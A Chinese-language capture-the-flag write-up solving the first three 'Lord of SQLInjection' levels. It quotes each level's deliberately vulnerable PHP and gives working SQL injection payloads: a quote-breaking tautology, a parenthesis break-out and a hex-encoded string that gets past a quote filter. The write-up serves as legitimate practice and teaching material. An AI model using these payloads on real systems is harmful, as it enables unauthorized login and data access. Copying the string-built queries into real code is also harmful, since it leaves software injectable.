靶场:LORD OF SQLINJECTION
靶场名字很中二,全部是sql注入的题目,难度据说依次提升,今天做了前四道题
第一题 Gremlin
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~"); // do not try to attack another table, database!
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
$query = "select id from prob_gremlin where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) solve("gremlin");
highlight_file(__FILE__);
?>
字符型注入
?id=' or '1'='1&pw=' or '1'='1
构造结果为:
select id from prob_gremlin where id=’’ or ‘1’=’1’ and pw=’’ or ‘1’=’1’
第二题 Cobolt
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~");
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
$query = "select id from prob_cobolt where id='{$_GET[id]}' and pw=md5('{$_GET[pw]}')";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id'] == 'admin') solve("cobolt");
elseif($result['id']) echo "<h2>Hello {$result['id']}<br>You are not admin :(</h2>";
highlight_file(__FILE__);
?>
?pw=1') or (id = 'admin
构造结果为:
select id from prob_cobolt where id=’’ and pw=md5(‘1’) or (id = ‘admin’)
第三题 Goblin
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~");
if(preg_match('/\'|\"|\`/i', $_GET[no])) exit("No Quotes ~_~");
$query = "select id from prob_goblin where id='guest' and no={$_GET[no]}";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
if($result['id'] == 'admin') solve("goblin");
highlight_file(__FILE__);
?>
数值型注入
随便写no = 1发现出现Hello guest,看来guest的no是1。
那试试2,
?no=0 or no = 2
23333,果然admin的no是2,直接出结果了。。。
实际上肯定是要?no = 0 or id = 'admin'
但是这道题里面把'
过滤了,所以上述语句无法执行
改成/?no=0 or id=0x61646d696e
就可以了,0x61646d696e是admin的16进制形式。
因为MySQL支持16进制值,且其默认类型就是字符串,而且它在数字上下文中,还可以当作整数,例如:
mysql> SELECT 0x61;
+------+
| 0x61 |
+------+
| a |
+------+
mysql> SELECT 0x61+1;
+--------+
| 0x61+1 |
+--------+
| 98 |
+--------+
mysql> SELECT 0x61646d696e+1;
+----------------+
| 0x61646d696e+1 |
+----------------+
| 418296719727 |
+----------------+
1 row in set (0.00 sec)
如果要把其当作其他类型,可以使用CAST()函数
mysql> SELECT CAST(0x61 AS UNSIGNED);
+------------------------+
| CAST(0x61 AS UNSIGNED) |
+------------------------+
| 97 |
+------------------------+
在MySQL中还可以用HEX()函数将一个字符串或数字转换为十六进制格式的字符串:
mysql> SELECT HEX('SQL');
+------------+
| HEX('SQL') |
+------------+
| 53514C |
+------------+
1 row in set (0.00 sec)
mysql> SELECT 0x53514C;
+----------+
| 0x53514C |
+----------+
| SQL |
+----------+
1 row in set (0.00 sec)